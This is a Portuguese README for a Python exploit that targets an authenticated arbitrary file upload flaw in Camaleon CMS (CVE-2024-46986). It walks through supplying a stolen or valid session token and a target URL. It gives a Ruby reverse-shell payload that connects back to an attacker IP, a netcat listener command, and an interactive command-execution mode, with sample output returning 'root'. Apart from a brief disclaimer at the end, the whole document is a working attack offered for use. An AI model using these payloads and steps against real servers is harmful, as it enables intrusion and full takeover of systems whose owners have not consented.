
Exploit Python automatizado para a vulnerabilidade de upload arbitrário de arquivos no Camaleon CMS (CVE-2024-46986). Suporta payloads de reverse shell e execução de comandos para execução remota de código autenticada.
Este repositório contém um script Python que automatiza a exploração de uma vulnerabilidade de upload de arquivos no Camaleon CMS. A vulnerabilidade permite que um atacante envie arquivos arbitrários (como scripts Ruby) para o servidor, potencialmente levando à execução remota de código (RCE) ou a outros impactos de segurança graves.
requests do Python.Credenciais de Usuário Válidas: É necessária uma sessão autenticada para que a exploração funcione. Você precisa do auth_token e do _cms_session de um usuário válido.
Python 3.x: Certifique-se de ter o Python 3.x instalado.
Biblioteca requests do Python: Instale a biblioteca requests caso ainda não esteja instalada.
pip install requests
Clone o repositório:
bash
https://github.com/vidura2/CVE-2024-46986.git cd CVE-2024-46986
Substitua os placeholders your_auth_token_here, your_session_token_here e https://target_site_here no script Python pelos valores reais.
Se estiver usando o payload de reverse shell, substitua também your_ip e your_port pelo seu endereço IP e pela porta na qual você configurará um listener.
Reverse Shell: Para enviar um reverse shell, defina a variável payload_type no script como "reverse_shell".
Execução de Comandos: Para enviar um script que executa comandos do sistema, defina payload_type como "command_execution". Você poderá inserir comandos repetidamente para executar no servidor de destino.
bash
python exploit_camaleon.py
Se estiver usando o payload de execução de comandos, você pode inserir vários comandos:
bash
Enter a system command to execute (or type 'exit' to quit): whoami
Enter a system command to execute (or type 'exit' to quit): ls
Enter a system command to execute (or type 'exit' to quit): exit
Tipos de Payload
O payload de reverse shell conecta de volta à máquina do atacante, permitindo a execução remota de código no servidor.
Modifique o IP e a porta no script Ruby dentro do código Python.
Exemplo de payload:
ruby
require 'socket' s = TCPSocket.open('your_ip', your_port) while (cmd = s.gets) IO.popen(cmd, 'r') do |io| s.print io.read end end
Configure um listener na sua máquina usando netcat:
bash
nc -lvnp <your_port>
2. Execução de Comandos
Este payload envia um script Ruby que executa comandos do sistema (por exemplo, whoami) no servidor. Você pode inserir comandos repetidamente durante a execução.
O script continuará pedindo comandos até que você digite exit.
Exemplo:
ruby
system("whoami")
Exemplo de Exploração Bem-sucedida
Quando a exploração for executada com sucesso, você deverá ver uma saída no terminal indicando o sucesso:
python
Exploit executed successfully with payload type: reverse_shell!
Se você usar o reverse shell, o listener do netcat deve lhe dar acesso ao shell do servidor comprometido.
Para o payload de execução de comandos:
bash
Enter a system command to execute (or type 'exit' to quit): whoami Command 'whoami' executed successfully! Response: root
Este script destina-se apenas a fins educacionais. O autor não é responsável por qualquer uso indevido ou dano causado por esta exploração. Sempre certifique-se de ter permissão antes de testar ou explorar vulnerabilidades. Contribuindo
Sinta-se à vontade para enviar issues ou pull requests para melhorias ou recursos adicionais!
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.